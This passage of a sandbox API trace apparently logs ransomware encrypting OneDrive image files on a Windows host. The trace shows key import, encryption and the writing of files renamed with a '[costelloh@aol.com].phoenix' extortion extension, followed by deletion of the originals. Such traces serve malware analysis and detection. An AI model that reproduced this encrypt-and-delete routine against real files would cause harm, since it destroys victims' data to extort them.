	[0267.986] CloseHandle (hObject=0x2b0) returned 1
	[0267.986] CloseHandle (hObject=0x240) returned 1
	[0267.986] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\partiallyFreezing.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\partiallyfreezing.svg")) returned 1
	[0267.987] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.987] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\stackedIceCubes.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\stackedicecubes.svg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.988] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4807) returned 1
	[0267.988] CloseHandle (hObject=0x240) returned 1
	[0267.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\stackedIceCubes.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\stackedicecubes.svg")) returned 0x20
	[0267.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\stackedIceCubes.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\stackedicecubes.svg.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.988] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\stackedIceCubes.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\stackedicecubes.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.988] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.988] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.988] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\stackedIceCubes.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\stackedicecubes.svg.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.988] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0267.988] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.988] ReadFile (in: hFile=0x240, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x12c7, lpOverlapped=0x0) returned 1
	[0267.998] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x12d0, dwBufLen=0x12d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x12d0) returned 1
	[0267.998] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x12d0, lpOverlapped=0x0) returned 1
	[0267.999] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0267.999] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.999] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0267.999] CryptDestroyKey (hKey=0x151380) returned 1
	[0267.999] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0267.999] CryptDestroyKey (hKey=0x151040) returned 1
	[0267.999] CloseHandle (hObject=0x240) returned 1
	[0268.000] CloseHandle (hObject=0x2b0) returned 1
	[0268.000] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\stackedIceCubes.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\stackedicecubes.svg")) returned 1
	[0268.000] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0268.001] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaCritical.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotacritical.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0268.001] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8806) returned 1
	[0268.001] CloseHandle (hObject=0x2b0) returned 1
	[0268.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaCritical.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotacritical.png")) returned 0x20
	[0268.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaCritical.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotacritical.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.001] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaCritical.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotacritical.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0268.001] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0268.001] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0268.001] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaCritical.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotacritical.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0268.002] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0268.002] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0268.002] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2266, lpOverlapped=0x0) returned 1
	[0268.033] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2270, dwBufLen=0x2270 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2270) returned 1
	[0268.034] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2270, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2270, lpOverlapped=0x0) returned 1
	[0268.035] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0268.035] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0268.035] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0268.035] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0268.035] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0268.035] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0268.035] CloseHandle (hObject=0x2b0) returned 1
	[0268.035] CloseHandle (hObject=0x240) returned 1
	[0268.035] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaCritical.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotacritical.png")) returned 1
	[0268.036] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0268.036] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaNearing.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotanearing.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0268.036] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=7513) returned 1
	[0268.036] CloseHandle (hObject=0x240) returned 1
	[0268.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaNearing.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotanearing.png")) returned 0x20
	[0268.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaNearing.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotanearing.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.037] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaNearing.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotanearing.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0268.037] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0268.037] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0268.037] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaNearing.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotanearing.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0268.037] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0268.037] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0268.037] ReadFile (in: hFile=0x240, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1d59, lpOverlapped=0x0) returned 1
	[0268.046] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d60, dwBufLen=0x1d60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d60) returned 1
	[0268.046] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d60, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d60, lpOverlapped=0x0) returned 1
	[0268.049] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0268.049] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0268.049] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0268.049] CryptDestroyKey (hKey=0x151180) returned 1
	[0268.049] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0268.049] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0268.049] CloseHandle (hObject=0x240) returned 1
	[0268.049] CloseHandle (hObject=0x2b0) returned 1
	[0268.050] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\QuotaNearing.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\quotanearing.png")) returned 1
	[0268.051] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0268.051] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ScreenshotOptIn.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\screenshotoptin.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0268.051] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=243489) returned 1
	[0268.051] CloseHandle (hObject=0x2b0) returned 1
	[0268.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ScreenshotOptIn.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\screenshotoptin.gif")) returned 0x20
	[0268.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ScreenshotOptIn.gif.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\screenshotoptin.gif.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.051] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ScreenshotOptIn.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\screenshotoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0268.052] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0268.052] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0268.052] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ScreenshotOptIn.gif.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\screenshotoptin.gif.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0268.052] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0268.052] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0268.052] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3b721, lpOverlapped=0x0) returned 1
	[0268.138] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3b730, dwBufLen=0x3b730 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3b730) returned 1
	[0268.138] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3b730, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3b730, lpOverlapped=0x0) returned 1
	[0268.144] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151700) returned 1
	[0268.144] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0268.144] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0268.144] CryptDestroyKey (hKey=0x151700) returned 1
	[0268.144] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0268.144] CryptDestroyKey (hKey=0x151040) returned 1
	[0268.144] CloseHandle (hObject=0x2b0) returned 1
	[0268.144] CloseHandle (hObject=0x240) returned 1
	[0268.144] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ScreenshotOptIn.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\screenshotoptin.gif")) returned 1
	[0268.146] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0268.146] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\appblue.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0268.147] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=5499) returned 1
	[0268.148] CloseHandle (hObject=0x240) returned 1
	[0268.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\appblue.png")) returned 0x20
	[0268.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppBlue.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\appblue.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.148] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\appblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0268.148] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0268.148] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0268.148] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppBlue.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\appblue.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0268.149] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0268.149] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0268.149] ReadFile (in: hFile=0x240, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x157b, lpOverlapped=0x0) returned 1
	[0268.197] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1580, dwBufLen=0x1580 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1580) returned 1
	[0268.197] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1580, lpOverlapped=0x0) returned 1
	[0268.197] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0268.197] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0268.197] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0268.197] CryptDestroyKey (hKey=0x151380) returned 1
	[0268.197] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0268.198] CryptDestroyKey (hKey=0x151640) returned 1
	[0268.198] CloseHandle (hObject=0x240) returned 1
	[0268.198] CloseHandle (hObject=0x2e4) returned 1
	[0268.198] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\appblue.png")) returned 1
	[0268.199] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0268.199] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorWhite.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\apperrorwhite.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
